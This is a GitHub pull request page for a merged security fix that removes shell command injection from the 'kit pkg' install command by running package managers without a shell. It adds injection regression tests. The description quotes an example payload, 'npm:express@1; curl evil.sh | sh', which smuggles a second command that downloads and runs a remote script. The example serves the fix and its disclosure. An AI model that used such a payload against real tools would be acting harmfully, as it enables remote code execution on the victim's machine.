Skip to content

fix(pkg): eliminate shell command injection in kit pkg - #71

Merged
sandstream merged 1 commit into
mainfrom
fix/pkg-command-injection
Jun 24, 2026
Merged

sandstream merged 1 commit into
mainfrom
fix/pkg-command-injection

Conversation

@sandstream

@sandstream sandstream commented Jun 23, 2026 •

Copy link
Copy Markdown
Owner

kit pkg <eco>:<name>@<ver> built install commands as shell strings and ran them via child_process.exec (/bin/sh -c), interpolating unsanitized user input:

kit pkg 'npm:express@1; curl evil.sh | sh'  →  npm install express@1; curl evil.sh | sh

Triage passes on the bare name, the injected command runs anyway — defeating the triage gate, and an RCE if kit pkg is driven non-interactively (manifest/CI/agent). getBrewRepoUrl had the same shell interpolation.

Fix: ecosystems build a (bin, args[]) InstallSpec run through execFileNoThrow — no shell, so metacharacters are inert argv. New buildInstallSpec() is unit-tested incl. injection regressions. (Security review finding.)

`kit pkg <eco>:<name>@<ver>` built install commands as shell strings and ran
them via `child_process.exec` (i.e. `/bin/sh -c`), interpolating the
user-supplied name/version with no sanitization:

    kit pkg 'npm:express@1; curl evil.sh | sh'
    → npm install express@1; curl evil.sh | sh

Triage runs on the bare name ("express"), passes, and the injected command
executes anyway — defeating kit's core "installs nothing untriaged" guarantee,
and an outright RCE if `kit pkg` is ever driven non-interactively (a manifest,
CI step, or agent). `getBrewRepoUrl` had the same shell interpolation.

Fix: ecosystems now build a `(bin, args[])` `InstallSpec` and run through
`execFileNoThrow` — no shell, so name/version reach the package manager as
discrete argv elements and can't break out into a second command. This is the
no-shell discipline the rest of kit already follows.

New `buildInstallSpec()` is exported and unit-tested, including regressions
proving `;`, `|`, `$(…)`, and backticks stay a single inert argv element.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_015ERHw6bVUz39sAuoQZ1iyg
@github-actions

Copy link
Copy Markdown

✅ Docker image built successfully

  • CLI image: docker.io/sandstream/kit:test

@sandstream
sandstream merged commit 97bdd09 into main Jun 24, 2026
15 checks passed
@sandstream
sandstream deleted the fix/pkg-command-injection branch June 24, 2026 04:14
sandstream added a commit that referenced this pull request Jul 6, 2026
…rification (R4/#77) (#245)

* feat(check): gate on memory-hooks liveness (self-playing loop, R5)

The self-playing loop (memory capture + statusline) depends on hooks in
~/.claude/settings.json. If they were installed here (durable marker present)
but have since vanished, capture is silently OFF — the store looks installed
but records nothing (a false green). `kit doctor` already flagged this and
`kit memory uninstall` already emits an audit event; this folds the same
liveness into the `kit check` security gate.

New checkMemoryHooksLiveness(): skips when never installed (CI / fresh machine)
and after a clean uninstall (which clears the marker), so it FAILS only on
genuine silent degradation (marker present + a hook gone). Env-injected tests
cover skip/pass/fail.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01DbF4MFePXWNCd4dxBQvqH2

* feat(memory): verify shared-tier signatures on the recall inject path (#77)

recentDecisions (SessionStart recovery / touched-decisions notice) replayed
curated shared entries into every session as trusted "Curated team decisions"
without checking their Ed25519 signature — so a tampered or forged team entry
rode in as trusted (holistic-review #77). The sign/verify machinery existed
(shareEntry signs, kit memory verify verifies) but nothing verified on the
inject path.

New recallSafeShared(root, entries): drops a bad-sig entry ALWAYS (tamper must
never be replayed), and under a committed .kit-policy.signers anchor injects
ONLY org-trusted entries; with no anchor everything but tamper is kept so the
common team-without-anchor case isn't broken. Wired into recentDecisions.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01DbF4MFePXWNCd4dxBQvqH2

---------

Co-authored-by: Claude <noreply@anthropic.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants